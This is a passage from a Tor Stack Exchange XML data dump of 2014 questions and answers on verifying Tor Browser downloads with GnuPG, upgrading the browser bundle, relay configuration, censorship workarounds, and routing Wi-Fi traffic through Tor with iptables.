Tor Browser Bundles. Import her key&#xA;  (0x416F061063FEE659) by starting cmd.exe and typing:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&quot;C:\Program Files\Gnu\GnuPg\gpg.exe&quot; --keyserver&#xA;  x-hkp://pool.sks-keyservers.net --recv-keys 0x416F061063FEE659&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;After importing the key, you can verify that the fingerprint is&#xA;  correct:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&quot;C:\Program Files\Gnu\GnuPg\gpg.exe&quot; --fingerprint 0x416F061063FEE659&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You should see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pub   2048R/63FEE659 2003-10-16&#xA;      Key fingerprint = 8738 A680 B84B 3031 A630  F2DB 416F 0610 63FE E659&#xA;uid                  Erinn Clark &amp;lt;erinn@torproject.org&amp;gt;&#xA;uid                  Erinn Clark &amp;lt;erinn@debian.org&amp;gt;&#xA;uid                  Erinn Clark &amp;lt;erinn@double-helix.org&amp;gt;&#xA;sub   2048R/EB399FD7 2003-10-16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;To verify the signature of the package you downloaded, you will need&#xA;  to download the &quot;.asc&quot; file as well. Assuming you downloaded the&#xA;  package and its signature to your Desktop, run:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&quot;C:\Program Files\Gnu\GnuPg\gpg.exe&quot; --verify&#xA;  C:\Users\Alice\Desktop\tor-browser-2.3.25-13_en-US.exe.asc&#xA;  C:\Users\Alice\Desktop\tor-browser-2.3.25-13_en-US.exe&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The output should say &quot;Good signature&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg: Signature made Wed 31 Aug 2011 06:37:01 PM EDT using RSA key ID 63FEE659&#xA;gpg: Good signature from &quot;Erinn Clark &amp;lt;erinn@torproject.org&amp;gt;&quot;&#xA;gpg:                 aka &quot;Erinn Clark &amp;lt;erinn@debian.org&amp;gt;&quot;&#xA;gpg:                 aka &quot;Erinn Clark &amp;lt;erinn@double-helix.org&amp;gt;&quot;&#xA;gpg: WARNING: This key is not certified with a trusted signature!&#xA;gpg:          There is no indication that the signature belongs to the owner.&#xA;Primary key fingerprint: 8738 A680 B84B 3031 A630  F2DB 416F 0610 63FE E659&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Notice that there is a warning because you haven't assigned a trust&#xA;  index to this person. This means that GnuPG verified that the key made&#xA;  that signature, but it's up to you to decide if that key really&#xA;  belongs to the developer. The best method is to meet the developer in&#xA;  person and exchange key fingerprints.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then install as normal by running the &lt;code&gt;.exe&lt;/code&gt;, should be &lt;code&gt;torbrowser-install-X.Y.Z_LANGUAGE.exe&lt;/code&gt; in my case &lt;code&gt;torbrowser-install-3.6.2_en-US.exe&lt;/code&gt;. Tor Project has instructions in greater detail for &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en#windows&quot; rel=&quot;nofollow&quot;&gt;Windows,&lt;/a&gt; &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en#linux&quot; rel=&quot;nofollow&quot;&gt;Linux,&lt;/a&gt; and &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en#macosx&quot; rel=&quot;nofollow&quot;&gt;Mac.&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-06-11T00:32:03.770" LastActivityDate="2014-06-11T00:32:03.770" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3302" PostTypeId="5" CreationDate="2014-06-10T23:48:37.330" Score="0" Body="" OwnerUserId="696" LastEditorUserId="88" LastEditDate="2014-06-11T06:32:41.737" LastActivityDate="2014-06-11T06:32:41.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3303" PostTypeId="4" CreationDate="2014-06-10T23:48:37.330" Score="0" Body="A widely used Linux distribution for the Raspberry Pi, a cheap ARM powered computer. Raspbian is based on Debian." OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-06-12T08:02:28.053" LastActivityDate="2014-06-12T08:02:28.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3304" PostTypeId="1" CreationDate="2014-06-11T14:18:42.960" Score="2" ViewCount="177" Body="&lt;p&gt;I used &quot;use provided bridges&quot; option for obfs3 in TBB 3.6.&#xA;When I got TBB 3.6.2, I didn't copy over torrc from old directory, I thought it might get new set of &quot;provided bridges&quot;, but when I opened and read TBB 3.6.2's torrc file, it has the same set of obfs3 bridges as in the TBB 3.6's torrc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now I wish to know how TBB gets its list of &quot;provided bridges&quot;? Is it added with the downloaded TBB itself? Then, everyone will be able to see the bridges from sourcecode and add it to their tor nodes blocklist?&lt;/p&gt;&#xA;" OwnerUserId="1552" LastEditorUserId="923" LastEditDate="2014-06-11T15:33:38.567" LastActivityDate="2014-07-16T12:02:25.413" Title="How does TBB gets &quot;Provided bridges&quot;?" Tags="|tor-browser-bundle|bridge|obfsproxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3305" PostTypeId="1" AcceptedAnswerId="3307" CreationDate="2014-06-11T14:40:04.950" Score="0" ViewCount="134" Body="&lt;p&gt;Utilizing TBB version 3.6.2, it is slow or one is unable to open many sites including this site (&lt;a href=&quot;https://tor.stackexchange.com&quot;&gt;https://tor.stackexchange.com&lt;/a&gt;). Anybody else have similar problem? Any solution?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-06-11T14:50:23.050" LastActivityDate="2014-06-11T19:01:37.247" Title="TBB version 3.6.2 is unable or slow to open many sites including this one" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3306" PostTypeId="1" CreationDate="2014-06-11T17:39:04.060" Score="3" ViewCount="402" Body="&lt;p&gt;I'm a noob user of Ubuntu and Tor Browser Bundle. I have a flashing warning sign on the Tor button that I understand means I need to upgrade. I'd like a very simple step-by-step how-to if one exists - one for a terminal novice.&lt;/p&gt;&#xA;" OwnerUserId="2943" LastEditorUserId="100" LastEditDate="2014-06-16T02:32:47.570" LastActivityDate="2014-06-17T03:51:06.603" Title="Please Provide a Step by Step Guide to Upgrade Tor Browser Bundle on Ubuntu" Tags="|tor-browser-bundle|ubuntu|" AnswerCount="2" CommentCount="1" ClosedDate="2014-06-17T05:20:53.740" ContentLicense="CC BY-SA 3.0" />
  <row Id="3307" PostTypeId="2" ParentId="3305" CreationDate="2014-06-11T19:01:37.247" Score="0" Body="&lt;p&gt;A helpful hint by Jens Kubieziel has helped to solve this problem. Since one will get new guard nodes if one unpack TBB to a new directory, there is a chance that new guards are slower than old guards. If the problem is significant enough to slow the browsing operation to a nil, one might decide to unpack the package to a new location again or use the old guards if one see fit and/or change the slow guards in any appropriate way to get a reasonable speed. The only thing is one should be careful that slow speed might be a trick by an adversary to encourage one to change the guards.&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-06-11T19:01:37.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3308" PostTypeId="2" ParentId="3306" CreationDate="2014-06-12T02:26:36.630" Score="0" Body="&lt;p&gt;First, using the Tor Browser, download the latest TBB for Linux, for your desired architecture (linux32 or linux64) and language, from &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en#downloads&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Unless you have saved anything that you want in the old TBB's root folder (&quot;tor-browser_...&quot;) just delete the old TBB folder (and the old .tar.gz archive file, if you saved it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you did save stuff, temporarily move it to your ~/Documents folder. If there are Tor configuration options, such as bridges, that you want to migrate, make note of them. Also, if you have bookmarks, back them up to ~/Documents/bookmarks-yyyy-mm-dd.json and then restore to the new Tor Browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now install TBB as explained &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en#linux&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Work as &lt;strong&gt;your username&lt;/strong&gt;, and &lt;strong&gt;NOT&lt;/strong&gt; as root. Briefly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user@host:~$ cd ~/&#xA;user@host:~$ tar -xvJf tor-browser-ARCH-3.6.2_LANG.tar.xz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;ARCH&quot; is the architecture that you selected (linux32 or linux64) and &quot;LANG&quot; is the language. Now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user@host:~$ cd tor-browser_LANG&#xA;user@host:~/tor-browser_LANG$ ./start-tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have created a shortcut for the Tor Browser, it should still work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I note that there's no particular magic about pasting a new version of a folder over an old one. In particular, there is no guarantee that doing so will overwrite all of the old data on disk. If that's a serious risk for you, you should be using Tails on a machine with no hard drive. Alternatively, you could use TBB on a dedicated machine with full-disk encryption (FDE). Even using Whonix or a Tails VM, FDE on the host is essential.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-06-12T19:50:30.307" LastActivityDate="2014-06-12T19:50:30.307" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3310" PostTypeId="1" CreationDate="2014-06-12T11:12:35.843" Score="1" ViewCount="92" Body="&lt;p&gt;I need a hosting company that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Provides dedicated servers&lt;/li&gt;&#xA;&lt;li&gt;Supports Tor hidden services&lt;/li&gt;&#xA;&lt;li&gt;Supports Windows&lt;/li&gt;&#xA;&lt;li&gt;Allows services to be paid for in Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Has any other security bells and whistles I might find useful.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Does such a creature exist?&lt;/p&gt;&#xA;" OwnerUserId="2947" LastActivityDate="2014-07-03T17:05:00.837" Title="Who are the best commercial hosts of hidden services?" Tags="|onion-services|web-hosting|" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-13T17:43:49.733" ContentLicense="CC BY-SA 3.0" />
  <row Id="3311" PostTypeId="2" ParentId="3262" CreationDate="2014-06-12T21:12:23.830" Score="4" Body="&lt;p&gt;Here is a list of custom HTTPS Everywhere rules which when installed would redirect you to the hidden service automatically where available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/chris-barry/darkweb-everywhere&quot; rel=&quot;nofollow&quot;&gt;https://github.com/chris-barry/darkweb-everywhere&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2949" LastActivityDate="2014-06-12T21:12:23.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3312" PostTypeId="1" CreationDate="2014-06-13T00:18:56.213" Score="1" ViewCount="622" Body="&lt;p&gt;My Censor generally blocks Tor, so I decided to use obfuscated bridges in the hope that that would work. But either the pluggable transport does this ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;13/06/2014 10:03:26 AM.374 [NOTICE] Pluggable Transport proxy (fte exec Tor\Pluggable Transports\fteproxy --managed) does not provide any needed transports and will not be launched.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... or it tells me that the certificate is wrong. Now my network uses their own certificates for all HTTPS or SSL connections! How do I fix it? The block is netbox blue.&lt;/p&gt;&#xA;" OwnerUserId="2950" LastEditorUserId="5445" LastEditDate="2015-01-03T14:25:46.147" LastActivityDate="2015-01-03T14:25:46.147" Title="Tor blocked due to invalid SSL certificate" Tags="|censorship|pluggable-transports|certificate|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3313" PostTypeId="1" CreationDate="2014-06-13T07:33:55.180" Score="1" ViewCount="104" Body="&lt;p&gt;I get warnings in orbot log that says GEOIP file cannot be loaded from &lt;code&gt;/usr/share/tor&lt;/code&gt;. I run cyanogenmod with root access for orbot. How to fix this problem? &lt;/p&gt;&#xA;" OwnerUserId="2951" LastEditorUserId="88" LastEditDate="2014-12-13T17:39:48.787" LastActivityDate="2014-12-13T17:39:48.787" Title="Orbot can't load geoIP file" Tags="|orbot|geoip|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3314" PostTypeId="1" CreationDate="2014-06-13T10:36:40.063" Score="2" ViewCount="1428" Body="&lt;p&gt;I'm trying to setup Tor relay, just a middle, not an Exit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for the best configuration for the 100 mb / s. My current &lt;code&gt;torrc&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;V3AuthoritativeDirectory 1&#xA;V3AuthVotingInterval 30 minutes&#xA;&#xA;DisableAllSwap 1&#xA;AvoidDiskWrites 1&#xA;&#xA;NumCPUs 4&#xA;DownloadExtraInfo 1&#xA;FetchUselessDescriptors 1&#xA;&#xA;ORPort 9001&#xA;ORListenAddress 0.0.0.0:9001&#xA;DirPort 9030 # what port to advertise for directory connections&#xA;DirListenAddress 0.0.0.0:9030&#xA;&#xA;RelayBandwidthRate  50 MB  # Throttle traffic to 100KB/s (800Kbps)&#xA;RelayBandwidthBurst 100 MB # But allow bursts up to 200KB/s (1600Kbps)&#xA;MaxAdvertisedBandwidth 100MB&#xA;&#xA;ExitPolicy reject *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the best configuration options to prevent highload on the my workstation, and achieve as much cool for the Tor Network as possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm talking about:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Setup big bandwidths between Exits and Entries, and skip low. To prevent DDOS on the side of OS's IP addr table.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Setup Tor daemon in such way to prevent high load on the Disk sub-system, like Avoid Disk Writes, etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keep highest and more relevancy Tor relays ( much more oldest ) in work with me. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any ways to keep full 50 mb/s, the half of my real speed in job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, for the whole of week, my &lt;code&gt;arm&lt;/code&gt;, tor console face give only:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;flags: Fast, Running, V2Dir, Valid             exit policy: reject *:*&#xA;&#xA;page 1 / 5 - m: menu, p: pause, h: page help, q: quit&#xA;Download (13.4 Kb/sec   - avg: 138.8 Kb/sec, total: 520.7 MB):     Upload (145.3 Kb/sec  - avg: 190.2 Kb/sec, total: 710.7 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know how, I don't know why, it doesn't take my bandwidth. Doesn't take more than 1mb/s. What is it? My OS is the last Ubuntu.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2014-06-13T11:00:59.703" LastActivityDate="2014-09-04T09:30:05.030" Title="What is the best specific for fast relay?" Tags="|relays|configuration|middle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3315" PostTypeId="1" CreationDate="2014-06-13T14:00:07.670" Score="2" ViewCount="2247" Body="&lt;p&gt;I'm in a private network, where everything runs on a proxy, that uses a HTTP, the phone/tablet isn't rooted. On Orbot, I have put in the address, I have put in the ports and all the bridges too. However when I try to run the Orbot browser I get an error that says SSL Error 3. (For more info, YHGFL are the ones that are blocking websites such as reddit.) So if anyone can help, much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2953" LastEditorUserId="923" LastEditDate="2014-06-13T14:44:39.093" LastActivityDate="2017-07-23T00:42:48.923" Title="Orbot, SSL Error 3 - Why?" Tags="|anonymity|orbot|transparent-proxy|https|mobile|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3316" PostTypeId="1" CreationDate="2014-06-14T01:48:00.990" Score="1" ViewCount="54" Body="&lt;p&gt;The answer to &lt;a href=&quot;https://tor.stackexchange.com/questions/949/what-common-sites-are-known-to-be-troublesome-for-tor-use&quot;&gt;What common sites are known to be troublesome for Tor use?&lt;/a&gt; is a &quot;community wiki [that] will list commonly used websites known to be troublesome for Tor users.&quot; I have encountered such problems over the years with many websites, and I've seen many such complaints in the tor-talk mailing list, and elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so I've decided to test how well the top 50 websites work for Tor users, and to determine the pervasiveness of any blocking. I'm using a script that runs &quot;torsocks midori -s &lt;a href=&quot;http://foo.bar/&quot; rel=&quot;nofollow&quot;&gt;http://foo.bar/&lt;/a&gt;&quot; to snapshot sites, while using &lt;a href=&quot;https://stem.torproject.org/tutorials/examples/exit_used.html&quot; rel=&quot;nofollow&quot;&gt;exit_used.py&lt;/a&gt; to determine exit relays used. Midori is configured send a Firefox user agent string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example for &lt;a href=&quot;http://craigslist.org/&quot; rel=&quot;nofollow&quot;&gt;http://craigslist.org/&lt;/a&gt; from preliminary results is &lt;a href=&quot;http://bayimg.com/lAoiMAAfL&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. It's possible that, given enough such information, someone might determine what server(s) I'm using. But that would arguably require collusion with entry guards. It wouldn't be problematic if the server(s) were tied to my mirimir persona.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there concern that unblocked exit relays will be blocked as a result? I don't think so. All of the exit relays in my example are obviously in &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Atlas&lt;/a&gt;, and they are all in the &quot;DAN TOR&quot; and &quot;DAN TOREXIT&quot; blacklists. But maybe I'm missing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are other key issues around publishing which websites block particular exit relays?&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-06-14T01:53:30.920" LastActivityDate="2014-07-23T06:25:24.460" Title="What are key issues around publishing which websites block particular exit relays?" Tags="|exit-relays|blocked-services|speed|website|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3317" PostTypeId="1" AcceptedAnswerId="3322" CreationDate="2014-06-14T08:09:33.000" Score="9" ViewCount="15490" Body="&lt;p&gt;Background:&#xA;Where I work there is a transparent proxy which restricts us to connect only to ftp, http and https websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Tor and to connect to any other destination port I use proxychains on my Ubuntu machine, things work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem:&#xA;Now I created a hotspot on my linux machine and want all incoming wifi traffic to be redirected through Tor. (Basically I have a ssh/telnet client on my Ipad which I want to use.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this? Is it possible to setup some proxy server on my laptop so it redirects all(ALL TCP traffic) traffic through Tor?&lt;/p&gt;&#xA;" OwnerUserId="2956" LastEditorUserId="923" LastEditDate="2014-06-14T08:47:43.820" LastActivityDate="2014-10-25T04:45:44.317" Title="How can I pass all wifi traffic through Tor?" Tags="|linux|transparent-proxy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3318" PostTypeId="1" AcceptedAnswerId="3321" CreationDate="2014-06-14T16:58:56.927" Score="2" ViewCount="779" Body="&lt;p&gt;My college provides internet access via &lt;code&gt;wifi&lt;/code&gt; and uses a &lt;code&gt;proxy server&lt;/code&gt;. Every time when I open my browser I have to enter user name and password for internet access. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used Tor for anonymous surfing. I want to know can I use Tor for different application like &lt;code&gt;Mozilla Thunderbird, utorrent,&lt;/code&gt; etc. &lt;/p&gt;&#xA;" OwnerUserId="2931" LastEditorUserId="2931" LastEditDate="2014-06-15T04:37:26.763" LastActivityDate="2014-06-21T20:48:44.653" Title="Can I use Tor for applications like Thunderbird, Torrent etc.?" Tags="|windows|network-configuration|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3319" PostTypeId="2" ParentId="3232" CreationDate="2014-06-15T13:07:21.540" Score="2" Body="&lt;p&gt;First, subgraph doesn't exist yet so it's tough to compare. But it appears to implement a sandbox for every application. Tails does not do this. &lt;/p&gt;&#xA;" OwnerUserId="1181" LastActivityDate="2014-06-15T13:07:21.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3320" PostTypeId="2" ParentId="3306" CreationDate="2014-06-15T23:04:27.313" Score="1" Body="&lt;p&gt;Download Tor Browser Bundle from &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. &lt;strong&gt;VERIFY your download. Look at &lt;a href=&quot;https://tor.stackexchange.com/questions/2078/tor-browser-how-to-verify-signature/3301#3301&quot;&gt;this answer&lt;/a&gt; or at the &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs.&lt;/a&gt;&lt;/strong&gt; Tor Project recommends that you extract on top instead of replacing. To do so, extract in a folder then drag to containing folder of the original install. Click merge or replace if it asks. (Taken from my comment on mirimir's post.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is worth noting that Tor Project said that for heavily different updates this can break your install, in which case you have to backup and such. Mirimir's answer provides suggestions on how to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I was wrong about this being official, or at least have not found an official statement from Tor Project but did find this &lt;a href=&quot;https://tor.stackexchange.com/a/69/696&quot;&gt;answer.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-06-17T03:51:06.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3321" PostTypeId="2" ParentId="3318" CreationDate="2014-06-15T23:45:20.247" Score="1" Body="&lt;p&gt;It is possible to do, but a bad idea in most cases. &lt;strong&gt;Most applications leak sensitive information when using with (or possibly without) Tor.&lt;/strong&gt; Less importantly, how necessary is it that Google doesn't know where you logged into your email. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Project has a page about &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO&quot; rel=&quot;nofollow&quot;&gt;Torifying&lt;/a&gt; and instructions on &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO#Clientapplications&quot; rel=&quot;nofollow&quot;&gt;specific applications.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Mozilla Thunderbird it is &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/EMail/Thunderbird&quot; rel=&quot;nofollow&quot;&gt;recommended&lt;/a&gt; to use &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/torbirdy&quot; rel=&quot;nofollow&quot;&gt;Torbirdy.&lt;/a&gt; Installation instructions can be found &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/torbirdy#SetupSteps&quot; rel=&quot;nofollow&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a torrenting take a look at &lt;a href=&quot;https://tor.stackexchange.com/questions/64/how-can-bittorrent-traffic-be-anonymized-with-tor&quot;&gt;this question.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also recommend the use of &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt; as it is a live Linux OS that routes all traffic through Tor.*&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Amnesic Incognito Live System is a live CD/USB distribution preconfigured so that everything is safely routed through Tor and leaves no trace on the local system.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;*All of the applications in it are specifically configured to route through Tor and no non-Tor traffic can escape (or at least in theory.) However, it does drop unexpected/non-tor traffic.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-06-21T20:48:44.653" LastActivityDate="2014-06-21T20:48:44.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3322" PostTypeId="2" ParentId="3317" CreationDate="2014-06-16T01:06:12.620" Score="7" Body="&lt;p&gt;This is not a good idea, in theory at least. (False security as programs may leak data)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adafruit offers a &lt;a href=&quot;https://learn.adafruit.com/onion-pi/overview&quot; rel=&quot;noreferrer&quot;&gt;tutorial&lt;/a&gt; on how to do this using a Raspberry Pi running Raspbian (which is based on Debian). This should work fine on most Linux distros.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt; sudo apt-get install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gPdtv.png&quot; alt=&quot;screenshot of terminal install of Tor&quot;&gt;&#xA;   Edit the tor config file by running&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo nano /etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;and copy and paste the text into the top of the file, right below the&#xA;  the FAQ notice.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log notice file /var/log/tor/notices.log &#xA;VirtualAddrNetwork 10.192.0.0/10 &#xA;AutomapHostsSuffixes .onion,.exit &#xA;AutomapHostsOnResolve 1 &#xA;TransPort 9040 &#xA;TransListenAddress 192.168.42.1 &#xA;DNSPort 53&#xA;DNSListenAddress 192.168.42.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JkObR.png&quot; alt=&quot;screenshot of terminal editing torrc&quot;&gt;&#xA;  Let's edit the host access point so it is called something memorable like Onion Pi - don't forget to set a good&#xA;  password, don't use the default here! (Don't forget to do the AP setup&#xA;  step in &quot;Preparation&quot; before this!) &#xA;  &lt;img src=&quot;https://i.stack.imgur.com/wUen5.png&quot; alt=&quot;screenshot of editing Wifi settings&quot;&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[EDIT BY ANSWER AUTHOR]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can do this by editing /etc/hostapd/hostapd.conf to change the ssid.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo nano /etc/hostapd/hostapd.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;One might change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ssid=Onion Pi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;[END EDIT]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Time to change our ip routing tables so that connections via the wifi&#xA;  interface (wlan0) will be routed through the tor software. Type the&#xA;  following to flush the old rules from the ip NAT table&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo iptables -F&#xA;sudo iptables -t nat -F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;If you want to be able to ssh to your Pi after this, you'll need to&#xA;  add an exception for port 22 like this (not shown in the screenshot&#xA;  below)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 22 -j REDIRECT --to-ports 22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Type the following to route all DNS (UDP port 53) from interface wlan0&#xA;  to internal port 53 (DNSPort in our torrc)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j REDIRECT --to-ports 53&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Type the following to route all TCP traffic from interface wlan0 to&#xA;  port 9040 (TransPort in our torrc)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --syn -j REDIRECT --to-ports 9040&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Next you can check that the ip tables are right with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo iptables -t nat -L&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QTqhU.png&quot; alt=&quot;screenshot of terminal of above command&quot;&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If all is good, we'll save it to our old NAT&#xA;  save 